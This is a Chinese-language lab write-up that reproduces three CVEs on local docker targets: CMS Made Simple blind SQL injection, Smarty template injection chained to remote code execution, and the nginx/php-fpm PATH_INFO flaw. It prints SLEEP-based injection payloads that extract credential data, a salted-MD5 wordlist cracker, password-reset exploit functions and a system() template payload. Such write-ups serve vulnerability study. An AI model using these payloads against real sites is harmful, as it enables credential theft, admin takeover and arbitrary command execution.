CVE-2019-9053

在CMS Made Simple <= 2.2.9的版本中存在一个基于时间的SQL盲注漏洞。
漏洞存在于 moduleinterface.php 文件中,具体涉及以下GET参数:
mact: 指示要执行的管理操作,例如 “News,m1_,default,0”
m1_idlist: 用于指定特定记录ID的列表
在 moduleinterface.php 中,mact 和 m1_idlist 参数被直接用于构建SQL查询,而未经过充分的输入验证和转义处理。类似于以下形式:

1
2
3
4
5
6
$mact = $_GET['mact'];
$m1_idlist = $_GET['m1_idlist'];

// 构建SQL查询
$query = "SELECT * FROM some_table WHERE mact = '$mact' AND id IN ($m1_idlist)";
$result = mysql_query($query);

攻击者可以通过 m1_idlist 参数注入额外的SQL语句。例如,构造以下请求:

1
http://target-site.com/admin/moduleinterface.php?mact=News,m1_,default,0&m1_idlist=1,2,3))+AND+(SELECT+SLEEP(5))--+

解析后的SQL查询如下:

1
SELECT * FROM some_table WHERE mact = 'News,m1_,default,0' AND id IN (1,2,3)) AND (SELECT SLEEP(5))--+

docker-compose up -d启动CMS Made Simple 2.2.9.1服务器。然后访问127.0.0.1/install.php并安装CMS服务
CVE-2019-9053-1
通过在靶场目录下执行命令python3 poc.py -u http://127.0.0.1即可运行脚本执行盲注进行爆破。
脚本关键代码如下

1
2
3
4
5
6
7
8
9
10
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'		#对url进行初步修改
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload #爆破盐值时对url进行的修改
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload #爆破密码时url进行的修改
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload #爆破用户名
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload #爆破邮箱

通过时间盲注和模糊查询即可对每一位进行查询。
CVE-2019-9053-2
但是此处获得的密码是加盐加密之后的结果,无法依靠在线解密网站进行解密。通过编写一个python脚本可以通过将字典里的密码加盐加密后与得到的管理员密码进行对比,即可获取管理员密码明文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import optparse
import hashlib
import os
#输入盐值,密码字典路径,密文,程序将自动破解密码,python xxx.py -s xxxxxx -w yourPATH -m xxxxx
parser = optparse.OptionParser()
parser.add_option("-s","--salt",action="store",dest="salt",help="Enter the salt of the password to decrypt,ex. 451292bfaed931a5")
parser.add_option("-w","--wordlist",action="store",dest="wordlist",help="Enter the path of the wordlist file")
parser.add_option("-m","--miwen",action="store",dest="miwen",help="Enter the miwen to decrypt,ex. 1234567890abcdef")
options,args = parser.parse_args()

if not options.salt:
parser.error("Please enter the salt of the password to decrypt")

if not options.wordlist:
parser.error("Please enter the path of the wordlist file")

if not os.path.exists(options.wordlist):
parser.error("The wordlist file does not exist")

password = ""

def crack_password():
global password
global wordlist
global salt
global miwen
flag = False
wordlist = open(options.wordlist)
salt = options.salt
miwen = options.miwen
for word in wordlist:
word = word.strip() # 去掉换行符
if hashlib.md5((salt + word).encode()).hexdigest() == miwen:
password = word
flag = True
break
if flag == False:
password = 'password not found'
wordlist.close()
print("Password found: "+password)

crack_password()

CVE-2019-9053-3

CVE-2021-26120

Smarty 3.1.39 之前的版本允许在 {function name= 子串后注入PHP代码,导致代码注入漏洞,该漏洞即为CVE-2021-26120。
CMS Made Simple 版本 <= 2.2.15,拥有设计师权限的用户可以在后台利用服务端模板注入漏洞,即为前面提到的CVE-2021-26120。
因此,如果CMSMS版本低于2.2.9.1,未授权的攻击者可以结合CVE-2019-9053和CVE-2021-26120漏洞,在服务器上执行任意代码。
docker-compose up -d启动CMS Made Simple 2.2.9.1服务器。然后访问127.0.0.1/install.php并安装CMS服务。
通过python poc.py 127.0.0.1 / id命令启动脚本可以使用SQL注入漏洞重置管理员密码并执行任意命令。
密码重置分为两个阶段执行:

第一阶段:验证用户名并触发密码重置。

这一阶段先通过时间盲注查询用户名和重置密码所需的changepwhash

1
2
3
4
5
6
7
8
def reset_pwd_stage1(t, usr):
d = {
"forgottenusername" : usr,
"forgotpwform" : 1,
}
r = requests.post("%sadmin/login.php" % t, data=d)
assert ("User Not Found" not in r.text), "(-) password reset failed!"

第二阶段:使用泄露的重置令牌修改用户密码。

通过得到的changepwhash构造HTTP POST请求即可将密码重置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def reset_pwd_stage2(t, usr, key):
d = {
"username" : usr,
"password" : usr, # just reset to the username
"passwordagain" : usr, # just reset to the username
"changepwhash" : key,
"forgotpwchangeform": 1,
"loginsubmit" : "Submit",
}
r = requests.post("%sadmin/login.php" % t, data=d)
match = re.search("Welcome: <a href=\"myaccount.php\?__c=[a-z0-9]*\">(.*)<\/a>", r.text)
assert match, "(-) password reset failed!"
assert match.group(1) == usr, "(-) password reset failed!"

执行命令

使用已经获得的账号密码登录后,生成一个csrf令牌,然后发送GET请求清除目标Web应用中可能存在的资源锁定(如模板锁定),然后发送GET请求设置模板ID,最后注入{function name='rce(){};system(\"%s\");function '}{/function}endrce即可实现执行任意命令。
CVE-2021-26120

CVE-2019-11043

漏洞原理

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO
为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
该漏洞需要在nginx.conf中进行特定配置才能触发。
利用条件:nginx配置了fastcgi_split_path_info
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
受影响系统:PHP 5.6-7.x,Nginx>=0.7.31

漏洞复现

搭建漏洞环境
CVE-2019-11043-1
CVE-2019-11043-2
安装漏洞利用工具
CVE-2019-11043-3
在phuip-fpizdam目录下执行go run . "http://127.0.0.1:8080/index.php"后成功显示漏洞利用成功。
在浏览器进行了如下请求,成功复现,可以执行系统命令,id可以替换为其他OS命令。
CVE-2019-11043-4
注意,因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。